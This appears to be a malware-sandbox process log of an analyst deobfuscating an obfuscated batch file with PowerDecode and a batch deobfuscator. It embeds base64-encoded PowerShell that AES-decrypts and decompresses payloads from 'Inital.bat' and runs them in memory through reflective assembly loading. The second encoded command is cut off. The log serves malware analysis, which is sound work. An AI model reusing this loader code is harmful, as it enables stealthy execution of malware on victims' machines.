C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --mojo-platform-channel-handle=6108 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:1388

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --mojo-platform-channel-handle=6852 --field-trial-handle=1900,i,1038236433641569508,13980458963478271323,131072 /prefetch:1
2⤵
PID:1020

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:4972

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\New folder\PowerDecode_report_DE3FFB0AD2C236309FA1A5ACC1424E7046E336A6EFED2FD4E738DB177D0B4493.txt
1⤵
- Suspicious use of FindShellTrayWindow
PID:868

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\New folder\PowerDecode_report_DE3FFB0AD2C236309FA1A5ACC1424E7046E336A6EFED2FD4E738DB177D0B4493.txt
1⤵
PID:1352

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:1096

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Registers COM server for autorun
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:5668

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 695479CCF77C666B8C49EC68251258FE
2⤵
- Loads dropped DLL
PID:3484

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -E -s -m ensurepip -U --default-pip
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4984

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpwf8uc1pd\\pip-24.0-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpwf8uc1pd', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4760

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:7048

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
python
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5672

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Inital.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:4024

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:6416

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
python setup.py
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6548

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
python batch_interpreter.py --file Inital.bat
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6748

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
python batch_interpreter.py --file Inital.bat
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6944

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\batch_deobfuscator-master\batch_deobfuscator\file.txt
1⤵
PID:1944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "C:\Users\Admin\Desktop\rojuwogiwu.ps1"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\PowerDecode-2.7.2\PowerDecode.bat" "
1⤵
PID:6084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -executionpolicy bypass .\GUI.ps1
2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeobfuscationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeobfuscationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
PID:2448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeclarationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
PID:548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand cwB2ACAARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAnAHMAaQBsAGUAbgB0AGwAeQBjAG8AbgB0AGkAbgB1AGUAJwA7AAoAZgB1AG4AYwB0AGkAbwBuACAAZABlAGMAcgB5AHAAdABfAGYAdQBuAGMAdABpAG8AbgAoACQAcABhAHIAYQBtAF8AdgBhAHIAKQB7ACAAJABhAGUAcwBfAHYAYQByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApADsAIAAkAGEAZQBzAF8AdgBhAHIALgBNAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwA7ACAAJABhAGUAcwBfAHYAYQByAC4AUABhAGQAZABpAG4AZwA9AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcAOwAgACQAYQBlAHMAXwB2AGEAcgAuAEsAZQB5AD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAKAAnAGcAbgBpAHIAdABTADQANgBlAHMAYQBCAG0AbwByAEYAJwBbAC0AMQAuAC4ALQAxADYAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJwByAFEAcwBaAGIAQgBQAE8AUABKAEMAdgB4AE4AaABMADAATABVAEUAUwAvAHgAQgBvAEcAZABKAFAAbwA1AHgAagBRAHUAUgB6AC8AVwBBAFkAMgBZAD0AJwApADsAIAAkAGEAZQBzAF8AdgBhAHIALgBJAFYAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAnAEQAagBiAEEAMwBvAHQAcABJADMATgBaAG8AQwBvAHEASgBaAGsASQBwAFEAPQA9ACcAKQA7ACAAJABkAGUAYwByAHkAcAB0AG8AcgBfAHYAYQByAD0AJABhAGUAcwBfAHYAYQByAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApADsAIAAkAHIAZQB0AHUAcgBuAF8AdgBhAHIAPQAkAGQAZQBjAHIAeQBwAHQAbwByAF8AdgBhAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABwAGEAcgBhAG0AXwB2AGEAcgAsACAAMAAsACAAJABwAGEAcgBhAG0AXwB2AGEAcgAuAEwAZQBuAGcAdABoACkAOwAgACQAZABlAGMAcgB5AHAAdABvAHIAXwB2AGEAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIAAkAGEAZQBzAF8AdgBhAHIALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJAByAGUAdAB1AHIAbgBfAHYAYQByADsAfQAKACQAYQBlAHMAXwB2AGEAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAgAAoAJABkAGUAYwByAHkAcAB0AG8AcgBfAHYAYQByACAAPQAgACQAYQBlAHMAXwB2AGEAcgAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQA7ACAACgAkAHIAZQB0AHUAcgBuAF8AdgBhAHIAIAA9ACAAJABkAGUAYwByAHkAcAB0AG8AcgBfAHYAYQByAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAcABhAHIAYQBtAF8AdgBhAHIALAAgADAALAAgACQAcABhAHIAYQBtAF8AdgBhAHIALgBMAGUAbgBnAHQAaAApADsAIAAKAGYAdQBuAGMAdABpAG8AbgAgAGQAZQBjAG8AbQBwAHIAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AKAAkAHAAYQByAGEAbQBfAHYAYQByACkAewAgACQAWAByAFcAeQBPAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAcABhAHIAYQBtAF8AdgBhAHIAKQA7ACAAJAB1AGQAVAB2AEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACAAJABEAEcAQwBCAGwAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAaQBwAFMAdAByAGUAYQBtACgAJABYAHIAVwB5AE8ALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAEQARwBDAEIAbAAuAEMAbwBwAHkAVABvACgAJAB1AGQAVAB2AEMAKQA7ACAAJABEAEcAQwBCAGwALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABYAHIAVwB5AE8ALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJAB1AGQAVAB2AEMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJAB1AGQAVAB2AEMALgBUAG8AQQByAHIAYQB5ACgAKQA7AH0ACgAkAFgAcgBXAHkATwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJABwAGEAcgBhAG0AXwB2AGEAcgApADsAIAAKACQAdQBkAFQAdgBDACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAIAAKACQARABHAEMAQgBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAFgAcgBXAHkATwAsACAAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAgAAoAZgB1AG4AYwB0AGkAbwBuACAAZQB4AGUAYwB1AHQAZQBfAGYAdQBuAGMAdABpAG8AbgAoACQAcABhAHIAYQBtAF8AdgBhAHIALAAkAHAAYQByAGEAbQAyAF8AdgBhAHIAKQB7ACAAJABJAEwAdwBOAG4APQBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACcAZABhAG8ATAAnAFsALQAxAC4ALgAtADQAXQAgAC0AagBvAGkAbgAgACcAJwApACgAWwBiAHkAdABlAFsAXQBdACQAcABhAHIAYQBtAF8AdgBhAHIAKQA7ACAAJABYAEQAcwBqAG8APQAkAEkATAB3AE4AbgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAWABEAHMAagBvAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAcABhAHIAYQBtADIAXwB2AGEAcgApADsAfQAKACQASQBMAHcATgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAJwBkAGEAbwBMACcAWwAtADEALgAuAC0ANABdACAALQBqAG8AaQBuACAAJwAnACkAKABbAGIAeQB0AGUAWwBdAF0AJABwAGEAcgBhAG0AXwB2AGEAcgApADsAIAAKACQAWABEAHMAagBvACAAPQAgACQASQBMAHcATgBuAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAACgAkAEEAVQBBAGMAVAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgAoACcAdAB4AGUAVABsAGwAQQBkAGEAZQBSACcAWwAtADEALgAuAC0AMQAxAF0AIAAtAGoAbwBpAG4AIAAnACcAKQAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AaQB0AGEAbAAuAGIAYQB0ACcAKQAuAFMAcABsAGkAdAAoAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE4AZQB3AEwAaQBuAGUAKQA7ACAACgAkAGoAbQBaAGoAWQAgAD0AIAAkAFIAbQBKAHAAZAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMwApADsAIAAKACQAcABhAHkAbABvAGEAZABzAF8AdgBhAHIAIAA9ACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGoAbQBaAGoAWQAuAFMAcABsAGkAdAAoACcAXAAnACkAOwAgAAoAJABwAGEAeQBsAG8AYQBkADEAXwB2AGEAcgAgAD0AIABkAGUAYwBvAG0AcAByAGUAcwBzAF8AZgB1AG4AYwB0AGkAbwBuACAAKABkAGUAYwByAHkAcAB0AF8AZgB1AG4AYwB0AGkAbwBuACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAKAAnAGcAbgBpAHIAdABTADQANgBlAHMAYQBCAG0AbwByAEYAJwBbAC0AMQAuAC4ALQAxADYAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJABwAGEAeQBsAG8AYQBkAHMAXwB2AGEAcgBbADAAXQApACkAKQA7ACAACgAkAHAAYQB5AGwAbwBhAGQAMgBfAHYAYQByACAAPQAgAGQAZQBjAG8AbQBwAHIAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAGQAZQBjAHIAeQBwAHQAXwBmAHUAbgBjAHQAaQBvAG4AIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAkAHAAYQB5AGwAbwBhAGQAcwBfAHYAYQByAFsAMQBdACkAKQApADsAIAAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQAVQBEAFYAYQByAGkAYQBiAGwAZQBzACgAKQB7ACAAKABnAGUAdAAtAHYAYQByAGkAYQBiAGwAZQAgAHwAIAB3AGgAZQByAGUALQBvAGIAagBlAGMAdAAgAHsAKABAACgAIgBkAGUAYwBsAGEAcgBhAHQAaQBvAG4AcwAiACwAIgBHAGUAdABVAEQAVgBhAHIAaQBhAGIAbABlAHMAIgAsACIATwB0AGgAZQByACIALAAiAEYAbwByAG0AYQB0AEUAbgB1AG0AZQByAGEAdABpAG8AbgBMAGkAbQBpAHQAIgAsACIATQBhAHgAaQBtAHUAbQBBAGwAaQBhAHMAQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0ARAByAGkAdgBlAEMAbwB1AG4AdAAiACwAIgBNAGEAeABpAG0AdQBtAEUAcgByAG8AcgBDAG8AdQBuAHQAIgAsACIATQBhAHgAaQBtAHUAbQBGAHUAbgBjAHQAaQBvAG4AQwBvAHUAbgB0ACIALAAiAE0AYQB4AGkAbQB1AG0AVgBhAHIAaQBhAGIAbABlAEMAbwB1AG4AdAAiACwAIgBQAEcASABvAG0AZQAiACwAIgBQAEcAUwBFACIALAAiAFAARwBVAEkAQwB1AGwAdAB1AHIAZQAiACwAIgBQAEcAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIgAsACIAUABSAE8ARgBJAEwARQAiACwAIgBQAFMAUwBlAHMAcwBpAG8AbgBPAHAAdABpAG8AbgAiACkAIAAtAG4AbwB0AGMAbwBuAHQAYQBpAG4AcwAgACQAXwAuAG4AYQBtAGUAKQAgAC0AYQBuAGQAKAAoAFsAcABzAG8AYgBqAGUAYwB0AF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUwBwAGUAYwBpAGEAbABWAGEAcgBpAGEAYgBsAGUAcwAnACkALgBHAGUAdABGAGkAZQBsAGQAcwAoACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIABGAGkAZQBsAGQAVAB5AHAAZQAgAC0AZQBxACAAKABbAHMAdAByAGkAbgBnAF0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIABHAGUAdABWAGEAbAB1AGUAIAAkAG4AdQBsAGwAKQApACAALQBuAG8AdABjAG8AbgB0AGEAaQBuAHMAIAAkAF8ALgBuAGEAbQBlAH0AKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIATgBhAG0AZQA6ACAAIgAgACAACQAkAF8ALgBOAGEAbQBlACAACQAiAC0ALQAtAC0ALQAtAC0AIgAgACAAIAAgACAAIgBWAGEAbAB1AGUAOgAgACIAIAAJACQAXwAuAFYAYQBsAHUAZQAgACAAIAAgACAAIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAiACAAIAAgAH0AIAB9AAoAKABHAGUAdABVAEQAdgBhAHIAaQBhAGIAbABlAHMAKQB8AE8AdQB0AC0ARgBpAGwAZQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAJwBEAGUAYwBsAGEAcgBlAGQAVgBhAHIAaQBhAGIAbABlAHMALgB0AHgAdAAnACkA
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -File C:\Users\Admin\AppData\Local\Temp\DeclarationCommand.ps1
3⤵
- Command and Scripting Interpreter: PowerShell
PID:2592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand cwB2ACAARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAnAHMAaQBsAGUAbgB0AGwAeQBjAG8AbgB0AGkAbgB1AGUAJwA7AAoAZgB1AG4AYwB0AGkAbwBuACAAZABlAGMAcgB5AHAAdABfAGYAdQBuAGMAdABpAG8AbgAoACQAcABhAHIAYQBtAF8AdgBhAHIAKQB7ACAAJABhAGUAcwBfAHYAYQByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApADsAIAAkAGEAZQBzAF8AdgBhAHIALgBNAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwA7ACAAJABhAGUAcwBfAHYAYQByAC4AUABhAGQAZABpAG4AZwA9AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcAOwAgACQAYQBlAHMAXwB2AGEAcgAuAEsAZQB5AD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAKAAnAGcAbgBpAHIAdABTADQANgBlAHMAYQBCAG0AbwByAEYAJwBbAC0AMQAuAC4ALQAxADYAXQAgAC0AagBvAGkAbgAgACcAJwApACgAJwByAFEAcwBaAGIAQgBQAE8AUABKAEMAdgB4AE4AaABMADAATABVAEUAUwAvAHgAQgBvAEcAZABKAFAAbwA1AHgAagBRAHUAUgB6AC8AVwBBAFkAMgBZAD0AJwApADsAIAAkAGEAZQBzAF8AdgBhAHIALgBJAFYAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZwBuAGkAcgB0AFMANAA2AGUAcwBhAEIAbQBvAHIARgAnAFsALQAxAC4ALgAtADEANgBdACAALQBqAG8AaQBuACAAJwAnACkAKAAnAEQAagBiAEEAMwBvAHQAcABJADMATgBaAG8AQwBvAHEASgBaAGsASQBwAFEAPQA9ACcAKQA7ACAAJABkAGUAYwByAHkAcAB0AG8AcgBfAHYAYQByAD0AJABhAGUAcwBfAHYAYQByAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApADsAIAAkAHIAZQB0AHUAcgBuAF8AdgBhAHIAPQAkAGQAZQBjAHIAeQBwAHQAbwByAF8AdgBhAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABwAGEAcgBhAG0AXwB2AGEAcgAsACAAMAAsACAAJABwAGEAcgBhAG0AXwB2AGEAcgAuAEwAZQBuAGcAdABoACkAOwAgACQAZABlAGMAcgB5AHAAdABvAHIAXwB2AGEAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIAAkAGEAZQBzAF8AdgBhAHIALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJAByAGUAdAB1AHIAbgBfAHYAYQByADsAfQAKACQAYQBlAHMAXwB2AGEAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAgAAoAJABkAGUAYwByAHkAcAB0AG8AcgBfAHYAYQByACAAPQAgACQAYQBlAHMAXwB2AGEAcgAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQA7ACAACgAkAHIAZQB0AHUAcgBuAF8AdgBhAHIAIAA9ACAAJABkAGUAYwByAHkAcAB0AG8AcgBfAHYAYQByAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAcABhAHIAYQBtAF8AdgBhAHIALAAgADAALAAgACQAcABhAHIAYQBtAF8AdgBhAHIALgBMAGUAbgBnAHQAaAApADsAIAAKAGYAdQBuAGMAdABpAG8AbgAgAGQAZQBjAG8AbQBwAHIAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4AKAAkAHAAYQByAGEAbQBfAHYAYQByACkAewAgACQAWAByAFcAeQBPAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACQAcABhAHIAYQBtAF8AdgBhAHIAKQA7ACAAJAB1AGQAVAB2AEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACAAJABEAEcAQwBCAGwAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAaQBwAFMAdAByAGUAYQBtACgAJABYAHIAVwB5AE8ALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAEQARwBDAEIAbAAuAEMAbwBwAHkAVABvACgAJAB1AGQAVAB2AEMAKQA7ACAAJABEAEcAQwBCAGwALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABYAHIAVwB5AE8ALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJAB1AGQAVAB2AEMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJAB1AGQAVAB2AEMALgBUAG8AQQByAHIAYQB5ACgAKQA7AH0ACgAkAFgAcgBXAHkATwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJABwAGEAcgBhAG0AXwB2AGEAcgApADsAIAAKACQAdQBkAFQAdgBDACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAIAAKACQARABHAEMAQgBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAFgAcgBXAHkATwAsACAAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAgAAoAZgB1AG4AYwB0AGkAbwBuACAAZQB4AGUAYwB1AHQAZQBfAGYAdQBuAGMAdABpAG8AbgAoACQAcABhAHIAYQBtAF8AdgBhAHIALAAkAHAAYQByAGEAbQAyAF8AdgBhAHIAKQB7ACAAJABJAEwAdwBOAG4APQBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACcAZABhAG8ATAAnAFsALQAxAC4ALgAtADQAXQAgAC0AagBvAGkAbgAgACcAJwApACgAWwBiAHkAdABlAFsAXQBdACQAcABhAHIAYQBtAF8AdgBhAHIAKQA7ACAAJABYAEQAcwBqAG8APQAkAEkATAB3AE4AbgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAWABEAHMAagBvAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAcABhAHIAYQBtADIAXwB2AGEAcgApADsAfQAKACQASQBMAHcATgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6ACgAJwBkAGEAbwBMACcAWwAtADEALgAuAC0ANABdACAALQBqAG8AaQBuACAAJwAnACkAKABbAGIAeQB0AGUAWwBdAF0AJABwAGEAcgBhAG0AXwB2AGEAcgApADsAIAAKACQAWABEAHMAagBvACAAPQAgACQASQBMAHcATgBuAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAACgAkAEEAVQBBAGMAVAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgAoACcAdAB4AGUAVABsAGwAQQBkAGEAZQBSACcAWwAtADEALgAuAC0AM